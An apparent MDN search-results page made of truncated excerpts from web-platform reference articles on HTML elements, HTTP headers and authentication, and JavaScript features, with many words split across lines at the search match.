...type="audio/mpeg"/> </audio> accessibility concerns audio with spoken dialog should provide both captions and transcripts that accurately describe its content. captions, which are specified using webvtt, allow people who are experiencing hearing loss to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to
review the recording's content at a pace and format that is comfortable for them. if automatic captioning services are used, it is important to
review the generated content to ensure it accurately represents the source audio. the <audio> element doesn't directly support webvtt. you will have to find a library or framework that provides the capability for you, or write the code to display captions y...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
e of two states. the default closed state displays only the triangle and the label inside <summary> (or a user agent-defined default string if no <summary>). this might look like the following: here we see a standard disclosure widget with the label "system requirements", in its default closed state. when the user clicks on the widget or focuses it then presses the space bar, it "twists" open,
revealing its contents: from there, you can use css to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its open attribute. by default when closed, the widget is only tall enough to display the disclosure triangle and summary. when open, it expands to display the details contained within. note: unfortunately, at this time there's no built-i...
... html <details> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> result customizing the disclosure widget the disclosure triangle itself can be customized, alth...
... html <details> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> result specifications specification status comment html living stan...
<dfn>: The Definition element - HTML: Hypertext Markup Language
usage notes there are some not-entirely-obvious aspects to using the <dfn> element. we examine those here. specifying the term being defined the term being defined is identified following these rules: if the <dfn> element has a title attribute, the value of the title attribute is considered to be the term being defined. the element must still have text within it, but that text may be an abb
reviation (perhaps using <abbr>) or another form of the term. if the <dfn> contains a single child element and does not have any text content of its own, and the child element is an <abbr> element with a title attribute itself, then the exact value of the <abbr> element's title is the term being defined. otherwise, the text content of the <dfn> element is the term being defined. this is shown in th...
...e the <code><a href="#definition-dfn"><dfn></a></code> element for this project.</p> here we see the definition — now with an id attribute, "definition-dfn", which can be used as the target of a link. later on, a link is created using <a> with the href attribute set to "#definition-dfn" to set up the link back to the definition. result the resulting content looks like this: using abb
reviations and definitions together in some cases, you may wish to use an abb
reviation for a term when defining it. this can be done by using the <dfn> and <abbr> elements in tandem, like this: html <p>the <dfn><abbr title="hubble space telescope">hst</abbr></dfn> is among the most productive scientific instruments ever constructed. it has been in orbit for over 20 years, scanning the sky and retu...
...ic instruments ever constructed. it has been in orbit for over 20 years, scanning the sky and returning data and photographs of unprecedented quality and detail.</p> <p>indeed, the <abbr title="hubble space telescope">hst</abbr> has arguably done more to advance science than any device ever built.</p> note the <abbr> element nested inside the <dfn>. the former establishes that the term is an abb
reviation ("hst") and specifies the full term ("hubble space telescope") in its title attribute. the latter indicates that the abb
reviated term represents a term being defined. result the output of the above code looks like this: specifications specification status comment html living standardthe definition of '<dfn>' in that specification. living standard ...
<input type="range"> - HTML: Hypertext Markup Language
we will rotate around the center of that space. finally, we rotate counter-clockwise by 90°. the result: a range input which is rotated so the maximum value is at the top and the minimum value is at the bottom. screenshotlive sample appearance property the appearance property has a non-standard value of slider-vertical that, well, makes sliders vertical. ...
...slider-vertical that, well, makes sliders vertical. html we use the same html as in the p
revious examples: <input type="range" min="0" max="11" value="7" step="1"> css we target just the inputs with a type of range: input[type="range"] { -webkit-appearance: slider-vertical; } orient attribute in firefox only, there is a non-standard orient property. ...
...e similar html as in the p
revious examples, we add the attribute with a value of vertical: <input type="range" min="0" max="11" value="7" step="1" orient="vertical"> writing-mode: bt-lr; the writing-mode property should generally not be used to alter text direction for internationalization or localization purposes, but can be used for special effects. ...
<input type="time"> - HTML: Hypertext Markup Language
ues provided are suggestions, not requirements: users can select from this predefined list or provide a different value. max a string indicating the latest time to accept, specified in the same time value format as described above. if the specified string isn't a valid time, no maximum value is set. min a string specifying the earliest time to accept, given in the time value format described p
reviously. if the value specified isn't a valid time string, no minimum value is set. readonly a boolean attribute which, if present, means this field cannot be edited by the user. its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property. note: because a read-only field cannot have a value, required does not have any effect on inputs with th...
...browsers support it starting in version 82 and firefox added it in version 76. no information is yet available about when or if safari will add it. be prepared for this situation to arise: const input = document.createelement('input'); input.type = 'time'; input.min = '23:00'; input.max = '01:00'; input.value = '23:59'; if (input.validity.valid && input.type === 'time') { // <input type=time>
reversed range supported } else { // <input type=time>
reversed range unsupported } making times required in addition, you can use the required attribute to make filling in the time mandatory. as a result, supporting browsers will display an error if you try to submit a time that is outside the set bounds, or an empty time field. let's look at an example; here we've set minimum and maximum time...
...to have very nice user interfaces for specifying a time value. for example, the time picker on chrome for android looks like this: browsers that don't support time inputs gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. the second problem is the more serious; as mentioned p
reviously, time inputs' values are always normalized to the format hh:mm or hh:mm:ss. with a text input, on the other hand, by default the browser has no idea of what format the time should be in, and there multiple ways in which people write times, such as: 3.00 pm 3:00pm 15:00 3 o'clock in the afternoon etc. one way around this is to put a pattern attribute on your time input. even though ...
Standard metadata names - HTML: Hypertext Markup Language
notes: though unstandardized, this declaration is respected by most mobile browsers due to de-facto dominance. the default values may vary between devices and browsers. to learn about this declaration in firefox for mobile, see this article. accessibility concerns with viewport scaling disabling zooming capabilities by setting user-scalable to a value of no p
revents people experiencing low vision conditions from being able to read and understand page content. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 see also the @viewport css at-rule. other metadata names the whatwg wiki metaextensions page contains a large set of non-standard metadata names that have not...
...the page (default). all nofollow requests the robot to not follow the links on the page. all all equivalent to index, follow google none equivalent to noindex, nofollow google noarchive requests the search engine not to cache the page content. google, yahoo, bing nosnippet p
revents displaying any description of the page in search engine results. google, bing noimageindex requests this page not to appear as the referring page of an indexed image. google nocache synonym of noarchive. bing notes: only cooperative robots follow these rules. do not expect to p
revent e-mail harvesters with them. t...
... google, bing noimageindex requests this page not to appear as the referring page of an indexed image. google nocache synonym of noarchive. bing notes: only cooperative robots follow these rules. do not expect to p
revent e-mail harvesters with them. the robot still needs to access the page in order to read these rules. to p
revent bandwidth consumption, use a robots.txt file. if you want to remove a page, noindex will work, but only after the robot visits the page again. ensure that the robots.txt file is not p
reventing
revisits. some values are mutually exclusive, like index and noindex, or follow and nofollow. in these cases the robot's behaviour is undefined and may vary between them. some crawler robots, li...
<textarea> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...es whether the value of the control can be automatically completed by the browser. possible values are: off: the user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry. on: the browser can automatically complete the value based on values that the user has entered during p
revious uses. if the autocomplete attribute is not specified on a <textarea> element, then the browser uses the autocomplete attribute value of the <textarea> element's form owner. the form owner is either the <form> element that this <textarea> element is a descendant of or the form element whose id is specified by the form attribute of the input element. for more information, see the autocomple...
...an example of the type of data that should be entered into a form; they are not a substitute for a proper <label> element tied to the input. see labels and placeholders in <input>: the input (form input) element for a full explanation. readonly this boolean attribute indicates that the user cannot modify the value of the control. unlike the disabled attribute, the readonly attribute does not p
revent the user from clicking or selecting in the control. the value of a read-only control is still submitted with the form. required this attribute specifies that the user must fill in a value before submitting a form. rows the number of visible text lines for the control. spellcheck specifies whether the <textarea> is subject to spell checking by the underlying browser/os. the value can be: ...
itemscope - HTML: Hypertext Markup Language
> </p> <p> published: <time datetime="2009-11-05" itemprop="datepublished">november 5, 2009</time> </p> <span itemprop="description">this is my grandmother's apple pie recipe. ...
...ished: <time datetime="2009-11-05" itemprop="datepublished">november 5, 2009</time> </p> <span itemprop="description">this is my grandmother's apple pie recipe. ...
...emprop recipeingredient white sugar: 3/4 cup itemprop recipeinstructions 1. cut and peel apples 2. mix sugar and cinnamon. use additional sugar for tart apples . itemprop author [person] itemprop name carol smith itemscope itemprop[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.0 itemprop
reviewcount 35 itemscope itemprop[itemtype] nutrition [nutritioninformation] itemprop servingsize 1 medium slice itemprop calories 250 cal itemprop fatcontent 12 g note: a handy tool for extracting microdata structures from html is google's structured data testing tool. try it on the html shown above. specifications sp...
HTTP authentication - HTTP
authorized or 407 proxy authentication required, authentication is impossible for this user. authentication of cross-origin images a potential security hole recently been fixed by browsers is authentication of cross-site images. from firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger http authentication dialogs (bug 1423146), p
reventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page. character encoding of http authentication browsers use utf-8 encoding for usernames and passwords. firefox once used iso-8859-1, but changed to utf-8 for parity with other browsers and to avoid potential problems as described in bug 1419658. www-authenticate and proxy-authenticate h...
...ation, digital-signature-based mutual see rfc 8120 aws4-hmac-sha256 see aws docs basic authentication scheme the "basic" http authentication scheme is defined in rfc 7617, which transmits credentials as user id/password pairs, encoded using base64. security of basic authentication as the user id and password are passed over the network as clear text (it is base64 encoded, but base64 is a
reversible encoding), the basic authentication scheme is not secure. https/tls should be used with basic authentication. without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information. restricting access with apache and basic authentication to password-protect a directory on an apache server, you will need a .htaccess and a .htpa...
...lid-user the .htaccess file references a .htpasswd file in which each line consists of a username and a password separated by a colon (:). you cannot see the actual passwords as they are hashed (using md5-based hashing, in this case). note that you can name your .htpasswd file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (apache is usually configured to p
revent access to .ht* files). aladdin:$apr1$zjtqbb3f$if9gdyaglmrs2fuinjhsz. user2:$apr1$o04r.y2h$/vekesphvinbbyjukxita/ restricting access with nginx and basic authentication for nginx, you will need to specify a location that you are going to protect and the auth_basic directive that provides the name to the password-protected area. the auth_basic_user_file directive then points to a .htpasswd f...
MIME types (IANA media types) - HTTP
a type, to specify the character set used to represent the code's content. this is not valid, and in most cases will result in a script not being loaded. image types files whose mime type is image contain image data. the subtype specifies which specific image file format the data represents. ...
... audio and video types as is the case for images, html doesn't mandate that web browsers support any specific file and codec types for the <audio> and <vi...
...e incorrect, browsers may perform mime sniffing — guessing the correct mime type by looking at the bytes of the resource. each browser performs mime sniffing differently and under different circumstances. (for example, safari will look at the file extension in the url if the sent mime type is unsuitable.) there are security concerns as some mime types represent executable content. servers can p
revent mime sniffing by sending the x-content-type-options header. other methods of conveying document type mime types are not the only way to convey document type information: filename suffixes are sometimes used, especially on microsoft windows. not all operating systems consider these suffixes meaningful (such as linux and macos), and there is no guarantee they are correct. magic numbers. th...
Browser detection using the user agent - HTTP
rs and test for them. you should never do user agent sniffing. there is always the alternative of doing feature detection instead. do you want to provide different html depending on which browser is being used? this is usually a bad practice, but there are some cases in which this is necessary. in these cases, you should first analyze your situation to be sure it's really necessary. can you p
revent it by adding some non-semantic <div> or <span> elements? the difficulty of successfully using user agent detection is worth a few disruptions to the purity of your html. also, rethink your design: can you use progressive enhancement or fluid layouts to help remove the need to do this? avoiding user agent detection if you want to avoid using user agent detection, you have options! feature...
...y and choosing the right >=, <=, >, or < in any corresponding javascript because it is very easy to get these mixed up, resulting in the website looking wonking right at the screen size where the layout changes. thus, thoroughly test the website at the exact widths/heights where layout changes occur to ensure that the layout changes occur properly. making the best of user agent sniffing after
reviewing all of the above better alternatives to user agent sniffing, there are still some potential cases where user agent sniffing is appropriate and justified. one such case is using user agent sniffing as a fallback when detecting if the device has a touch screen. see the mobile device detection section for more information. another such case is for fixing bugs in browsers that do not automati...
... chrome/xyz rendering engine version most rendering engines put the version number in the renderingengine/versionnumber token, with the notable exception of gecko. gecko puts the gecko version number in the comment part of the user agent after the rv: string. from gecko 14 for the mobile version and gecko 17 for the desktop version, it also puts this value in the gecko/version token (p
revious version put there the build date, then a fixed date called the geckotrail). os the operating system is given in most user agent strings (although not web-focused platforms like firefox os), but the format varies a lot. it is a fixed string between two semi-colons, in the comment part of the user agent. these strings are specific for each browser. they indicate the os, but also often its ver...
ETag - HTTP
if the resource at a given url changes, a new etag value must be generated. a comparison of them can determine whether two representations of a resource are the same. ...
... w/ optional 'w/' (case-sensitive) indicates that a weak validator is used. weak etags are easy to generate, but are far less useful for comparisons. strong validators are ideal for comparisons but can be very difficult to generate efficiently. weak etag values of two representations of the same resources might be semantically equivalent, but not byte-for-byte identical. this means weak etags p
revent caching when byte range requests are used, but strong etags mean range requests can still be cached. "<etag_value>" entity tag uniquely representing the requested resource. they are a string of ascii characters placed between double quotes, like "675af34563dc-tr34". the method by which etag values are generated is not specified. often, a hash of the content, a hash of the last modification t...
...e range requests are used, but strong etags mean range requests can still be cached. "<etag_value>" entity tag uniquely representing the requested resource. they are a string of ascii characters placed between double quotes, like "675af34563dc-tr34". the method by which etag values are generated is not specified. often, a hash of the content, a hash of the last modification timestamp, or just a
revision number is used. for example, mdn uses a hexadecimal hash of the wiki article content. examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions. for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag...
Strict-Transport-Security - HTTP
header type response header forbidden header name no syntax strict-transport-security: max-age=<expire-time> strict-transport-security: max-age=<expire-time>; includesubdomains strict-transport-security: max-age=<expire-time>; preload directives max-age=<expire-time> the time, in seconds, that the browser should remember that a site is only to be accessed using https. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. ...
...ntercepting your original http request and redirecting you to a clone of your bank's site instead of the real thing. now your private data is exposed to the hacker. strict transport security resolves this problem; as long as you've accessed your bank's web site once using https, and the bank's web site uses strict transport security, your browser will know to automatically use only https, which p
revents hackers from performing this sort of man-in-the-middle attack. how the browser handles it the first time your site is accessed using https and it returns the strict-transport-security header, the browser records this information, so that future attempts to load the site using http will automatically use https instead. when the expiration time specified by the strict-transport-security head...
...ttp will automatically use https instead. when the expiration time specified by the strict-transport-security header elapses, the next attempt to load the site via http will proceed as normal instead of automatically using https. whenever the strict-transport-security header is delivered to the browser, it will update the expiration time for that site, so sites can refresh this information and p
revent the timeout from expiring. should it be necessary to disable strict transport security, setting the max-age to 0 (over a https connection) will immediately expire the strict-transport-security header, allowing access via http. preloading strict transport security google maintains an hsts preload service. by following the guidelines and successfully submitting your domain, browsers will never...
Loops and iteration - JavaScript
this chapter of the javascript guide introduces the different iteration statements available to javascript. you can think of a loop as a computerized version of the game where you tell someone to take x steps in one direction, then y steps in another. for example, the idea "go five steps to the east" could be expressed this way as a loop: for (let step = 0; step < 5; step++) { // runs 5 times, with values of step 0 through 4. console.log('walking east one step'); } there are many different kinds of loops, but they all essentially do the same thing: they repeat an action some number of times. ...
... the first pass: n = 1 and x = 1 after the second pass: n = 2 and x = 3 after the third pass: n = 3 and x = 6 after completing the third pass, the condition n < 3 is no longer true, so the loop terminates. example 2 avoid infinite loops. make sure the condition in a loop eventually becomes false—otherwise, the loop will never terminate! the statements in the following while loop execute fo
rever because the condition never becomes false: // infinite loops are bad! while (true) { console.log('hello, world!'); } labeled statement a label provides a statement with an identifier that lets you refer to it elsewhere in your program. for example, you can use a label to identify a loop, and then use the break or continue statements to indicate whether a program should interrupt the loop o...
.... ...
JavaScript language resources - JavaScript
king draft, repository 2018 ecmascript 2018 internationalization api specification obsolete/historical editions ecma-262 pdf june 1997 ecmascript: a general purpose, cross-platform programming language. this was the first version of the ecmascript standard. ecma-262 2nd edition pdf august 1998 ecmascript language specification. ...
...script: a general purpose, cross-platform programming language. this was the first version of the ecmascript standard. ecma-262 2nd edition pdf august 1998 ecmascript language specification. this is the second
revision of the ecmascript standard; also iso standard 16262. ecma-262 3rd edition pdf december 1999 ecmascript language specification. this is the third
revision of the ecmascript standard; corresponds to javascript 1.5. see also the errata ecma-262 5th edition pdf december 2009 ecmascript language specification. this is the fifth
revision of the ecmascript standard. see also the es5 errata and ecmascript 5 support in mozilla ecma-357 pdf june 2004 ecmascript for xml (e4x). see also the e4x errata. ...
...ternationalization api specification es.next is a dynamic name that refers to whatever the next version is at the time of writing. es.next features are more correctly called proposals, because, by definition, the specification has not been finalized yet. see wikipedia ecmascript entry for more information on ecmascript history. you can participate in or just track the work on the next
revisions of the ecmascript language specification, code-named "harmony", and the ecmascript internationalization api specification via public wiki and the es-discuss mailing list linked from ecmascript.org. implementations spidermonkey - the javascript engine used in various mozilla products, including firefox; rhino - the javascript engine is written in java; tamarin - the actionscript virtua...
Functions - JavaScript
the parentheses are not required. (like foo => 1) statements or expression multiple statements need to be enclosed in brackets. a single expression requires no brackets. the expression is also the implicit return value of the function. the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may p
revent some js engine optimizations and can also cause other problems. as all other objects, function objects can be created using the new operator: new function (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal parameters. each must be a proper javascript identifier. functionbody a string containing the javascript statement...
...ing the new operator) has the same effect as invoking it as a constructor. the generatorfunction constructor note: generatorfunction is not a global object, but could be obtained from generator function instance (see generatorfunction for more detail). note: using the generatorfunction constructor to create functions is not recommended since it needs the function body as a string which may p
revent some js engine optimizations and can also cause other problems. as all other objects, generatorfunction objects can be created using the new operator: new generatorfunction (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal argument names. each must be a string that conforms to the rules for a valid javascript identifier or...
...th a few subtle differences: there is a distinction between the function name and the variable the function is assigned to. the function name cannot be changed, while the variable the function is assigned to can be reassigned. the function name can be used only within the function's body. attempting to use it outside the function's body results in an error (or undefined if the function name was p
reviously declared via a var statement). for example: var y = function x() {}; alert(x); // throws an error the function name also appears when the function is serialized via function's tostring method. on the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope in which the function is declared. as the 4th example shows, the...
BigInt - JavaScript
n object, a bigint will be considered as a normal "object" type: typeof object(1n) === 'object' // true operators the following operators may be used with bigints (or object-wrapped bigints): +, *, -, **, %. bitwise operators are supported as well, except >>> (zero-fill right shift) as all bigints are signed. also unsupported is the unary operator (+), in order to not break asm.js. ...
...' // true operators the following operators may be used with bigints (or object-wrapped bigints): +, *, -, **, %. bitwise operators are supported as well, except >>> (zero-fill right shift) as all bigints are signed. also unsupported is the unary operator (+), in order to not break asm.js. ...
...bigints (or object-wrapped bigints): +, *, -, **, %. bitwise operators are supported as well, except >>> (zero-fill right shift) as all bigints are signed. also unsupported is the unary operator (+), in order to not break asm.js. const p
reviousmaxsafe = bigint(number.max_safe_integer) // ↪ 9007199254740991n const maxplusone = p
reviousmaxsafe + 1n // ↪ 9007199254740992n const thefuture = p
reviousmaxsafe + 2n // ↪ 9007199254740993n, this works now! const multi = p
reviousmaxsafe * 2n // ↪ 18014398509481982n const subtr = multi – 10n // ↪ 18014398509481972n const mod = multi % 10n // ↪ 2n const bign = 2n ** 54n // ↪ 18014398509481984n bign * -1n // ↪ –18014398509481984n the / operator also works as expected with whole numbers. however, since these are bigints and ...
Math.clz32() - JavaScript
lled bit, then negates the bits to erase all higher set bits so that clz can then be used. var clz = math.clz32; function ctrz(integer){ // count trailing zeros // 1. fill in all the higher bits after the first one integer |= integer << 16; integer |= integer << 8; integer |= integer << 4; integer |= integer << 2; integer |= integer << 1; // 2. now, inversing the bits
reveals the lowest bits return 32 - clz(~integer) |0; // `|0` ensures integer coercion } function ctron(integer){ // count trailing ones // no shift-filling-in-with-ones operator is available in // javascript, so the below code is the fastest return ctrz(~integer); /* alternate implementation for demonstrational purposes: // 1. erase all the higher bits after the first zero...
...turn ctrz(~integer); /* alternate implementation for demonstrational purposes: // 1. erase all the higher bits after the first zero integer &= (integer << 16) | 0xffff; integer &= (integer << 8 ) | 0x00ff; integer &= (integer << 4 ) | 0x000f; integer &= (integer << 2 ) | 0x0003; integer &= (integer << 1 ) | 0x0001; // 2. now, inversing the bits
reveals the lowest zeros return 32 - clon(~integer) |0; */ } make these helper functions into asm.js module; then, you have a true performance masterpiece. situations like these are exactly what asm.js was designed for. var counttrailsmethods = (function(stdlib, foreign, heap) { "use asm"; var clz = stdlib.math.clz32; function ctrz(integer) { // count trailing zeros ...
...rce to an integer // 1. fill in all the higher bits after the first one // asmjs for some reason does not allow ^=,&=, or |= integer = integer | (integer << 16); integer = integer | (integer << 8); integer = integer | (integer << 4); integer = integer | (integer << 2); integer = integer | (integer << 1); // 2. ...
Object.defineProperty() - JavaScript
object function withvalue(value) { var d = withvalue.d || ( withvalue.d = { enumerable: false, writable: false, configurable: false, value: value } ); // avoiding duplicate operation for assigning value if (d.value !== value) d.value = value; return d; } // ... and ... object.defineproperty(obj, 'key', withvalue('static')); // if freeze is available, p
revents adding or // removing the object prototype properties // (value, get, set, enumerable, writable, configurable) (object.freeze || object)(object.prototype); examples if you want to see how to use the object.defineproperty method with a binary-flags-like syntax, see additional examples. creating a property when the property specified doesn't exist in the object, object.defineproperty() cre...
... attributes (other than value and writable) can be changed. ...
...lass() { } object.defineproperty(myclass.prototype, "x", { get() { return this.stored_x; }, set(x) { this.stored_x = x; } }); var a = new myclass(); var b = new myclass(); a.x = 1; console.log(b.x); // undefined unlike accessor properties, value properties are always set on the object itself, not on a prototype. however, if a non-writable value property is inherited, it still p
revents from modifying the property on the object. function myclass() { } myclass.prototype.x = 1; object.defineproperty(myclass.prototype, "y", { writable: false, value: 1 }); var a = new myclass(); a.x = 2; console.log(a.x); // 2 console.log(myclass.prototype.x); // 1 a.y = 2; // ignored, throws in strict mode console.log(a.y); // 1 console.log(myclass.prototype.y); // 1 specifications ...
Promise.race() - JavaScript
return value a pending promise that asynchronously yields the value of the first promise in the given iterable to fulfill or reject. description the race function returns a promise that is settled the same way (and takes the same value) as the first promise that settles amongst the promises of the iterable passed as an argument. if the iterable passed is empty, the promise returned will be fo
rever pending. if the iterable contains one or more non-promise value and/or an already settled promise, then promise.race will resolve to the first of these values found in the iterable. examples asynchronicity of promise.race this following example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promis...
...ray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be fo
rever pending: var fo
reverpendingpromise = promise.race([]); console.log(fo
reverpendingpromise); settimeout(function(){ console.log('the stack is now empty'); console.log(fo
reverpendingpromise); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "pending" } if the iterable contains one or more non-promise value and/or an already settle...
...timeout(function(){ console.log('the stack is now empty'); console.log(fo
reverpendingpromise); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "pending" } if the iterable contains one or more non-promise value and/or an already settled promise, then promise.race will resolve to the first of these values found in the array: var fo
reverpendingpromise = promise.race([]); var alreadyfulfilledprom = promise.resolve(100); var arr = [fo
reverpendingpromise, alreadyfulfilledprom, "non-promise value"]; var arr2 = [fo
reverpendingpromise, "non-promise value", promise.resolve(100)]; var p = promise.race(arr); var p2 = promise.race(arr2); console.log(p); console.log(p2); settimeout(function(){ console.log('the stack is now empty'); ...
String.prototype.charAt() - JavaScript
h surrogate without following low surrogate'; } var next = str.charcodeat(i + 1); if (0xdc00 > next || next > 0xdfff) { throw 'high surrogate without following low surrogate'; } return str.charat(i) + str.charat(i + 1); } // low surrogate (0xdc00 <= code && code <= 0xdfff) if (i === 0) { throw 'low surrogate without preceding high surrogate'; } var p
rev = str.charcodeat(i - 1); // (could change last hex to 0xdb7f to treat high private // surrogates as single characters) if (0xd800 > p
rev || p
rev > 0xdbff) { throw 'low surrogate without preceding high surrogate'; } // we can pass over low surrogates now as the second component // in a pair which we have already processed return false; } in an ecmascript 2016 environment which...
...ogate without following low surrogate' } let next = str.charcodeat(i + 1) if (0xdc00 > next || next > 0xdfff) { throw 'high surrogate without following low surrogate' } return [str.charat(i) + str.charat(i + 1), i + 1] } // low surrogate (0xdc00 <= code && code <= 0xdfff) if (i === 0) { throw 'low surrogate without preceding high surrogate' } let p
rev = str.charcodeat(i - 1) // (could change last hex to 0xdb7f to treat high private surrogates // as single characters) if (0xd800 > p
rev || p
rev > 0xdbff) { throw 'low surrogate without preceding high surrogate' } // return the next character instead (and increment) return [str.charat(i + 1), i + 1] } fixing charat() to support non-basic-multilingual-plane (bmp) characters whi...
...harcodeat(i - 1) // (could change last hex to 0xdb7f to treat high private surrogates // as single characters) if (0xd800 > p
rev || p
rev > 0xdbff) { throw 'low surrogate without preceding high surrogate' } // return the next character instead (and increment) return [str.charat(i + 1), i + 1] } fixing charat() to support non-basic-multilingual-plane (bmp) characters while the p
revious example may be more useful for programs that must support non-bmp characters (since it does not require the caller to know where any non-bmp character might appear), in the event that one does wish, in choosing a character by index, to treat the surrogate pairs within a string as the single characters they represent, one can use the following: function fixedcharat(str, idx) { let ret = '' ...
TypedArray.prototype.reduce() - JavaScript
types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: p
reviousvalue the value p
reviously returned in the last invocation of the callback, or initialvalue, if supplied (see below). currentvalue the current element being processed in the typed array. index the index of the current element being processed in the typed array. array the typed array reduce was called upon. initialvalue optional. object to use as the first argument to the fi...
...ray reduce was called upon. initialvalue optional. object to use as the first argument to the first call of the callback. return value the value that results from the reduction. description the reduce method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the p
revious callback call), the value of the current element, the current index, and the typed array over which iteration is occurring. the first time the callback is called, p
reviousvalue and currentvalue can be one of two values. if initialvalue is provided in the call to reduce, then p
reviousvalue will be equal to initialvalue and currentvalue will be equal to the first value in the typed array. if n...
... if the typed array is empty and no initialvalue was provided, typeerror would be thrown. ...
TypedArray.prototype.reduceRight() - JavaScript
on against an accumulator and each value of the typed array (from right-to-left) has to reduce it to a single value. this method has the same algorithm as array.prototype.reduceright(). typedarray is one of the typed array types here. syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: p
reviousvalue the value p
reviously returned in the last invocation of the callback, or initialvalue, if supplied (see below). currentvalue the current element being processed in the typed array. index the index of the current element being processed in the typed array. array the typed array reduce was called upon. initialvalue optional. object to use as the first argument to the fi...
...educe was called upon. initialvalue optional. object to use as the first argument to the first call of the callback. return value the value that results from the reduction. description the reduceright method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the p
revious callback call), the value of the current element, the current index, and the typed array over which iteration is occurring. the call to the reduceright callback would look something like this: typedarray.reduceright(function(p
reviousvalue, currentvalue, index, typedarray) { // ... }); the first time the function is called, the p
reviousvalue and currentvalue can be one of two values. if ...
...ent index, and the typed array over which iteration is occurring. the call to the reduceright callback would look something like this: typedarray.reduceright(function(p
reviousvalue, currentvalue, index, typedarray) { // ... }); the first time the function is called, the p
reviousvalue and currentvalue can be one of two values. if an initialvalue was provided in the call to reduceright, then p
reviousvalue will be equal to initialvalue and currentvalue will be equal to the last value in the typed array. if no initialvalue was provided, then p
reviousvalue will be equal to the last value in the typed array and currentvalue will be equal to the second-to-last value. if the typed array is empty and no initialvalue was provided, typeerror would be thrown. if the typed array has only one elemen...
Transitioning to strict mode - JavaScript
down to the function granularity. differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in p
revision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128). declaring two function parameters with the same name...
...ivate, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128). declaring two function parameters with the same name function f(a, b, b) {} these errors are good, because they
reveal plain errors or bad practices. they occur before the code is running. new runtime errors javascript used to silently fail in contexts where what was done was an error. strict mode throws in such cases. if your code base contains such cases, testing will be necessary to be sure nothing is broken. once again, it can happen at the function granularity level. setting a value to an undeclared va...
...'use strict'; var s = document.getelementbyid('thing').style; s.opacity = 1; (function fadeout() { // name the function if((s.opacity-=.1) < 0) s.display = 'none'; else settimeout(fadeout, 40); // use the name of the function })(); semantic differences these differences are very subtle differences. it's possible that a test suite doesn't catch this kind of subtle difference. careful
review of your code base will probably be necessary to be sure these differences don't affect the semantics of your code. fortunately, this careful
review can be done gradually down the function granularity. this in function calls in function calls like f(), the this value was the global object. in strict mode, it is now undefined. when a function was called with call or apply, if the value was a p...
Strict mode - JavaScript
y fall into these categories: changes converting mistakes into errors (as syntax errors or at runtime), changes simplifying how the particular variable for a given use of a name is computed, changes simplifying eval and arguments, changes making it easier to write "secure" javascript, and changes anticipating future ecmascript evolution. converting mistakes into errors strict mode changes some p
reviously-accepted mistakes into errors. javascript was designed to be easy for novice developers, and sometimes it gives operations which should be errors non-error semantics. sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future. strict mode treats these mistakes as errors so that they're discovered and promptly fixed. first, strict mode makes it impos...
...the normal code may duplicate pr...
...if the code is modified to change the property value other than by changing the last instance. duplicate property names are a syntax error in strict mode: this is no longer the case in ecmascript 2015 (bug 1041128). 'use strict'; var o = { p: 1, p: 2 }; // !!! syntax error fifth, strict mode requires that function parameter names be unique. in normal code the last duplicated argument hides p
revious identically-named arguments. those p
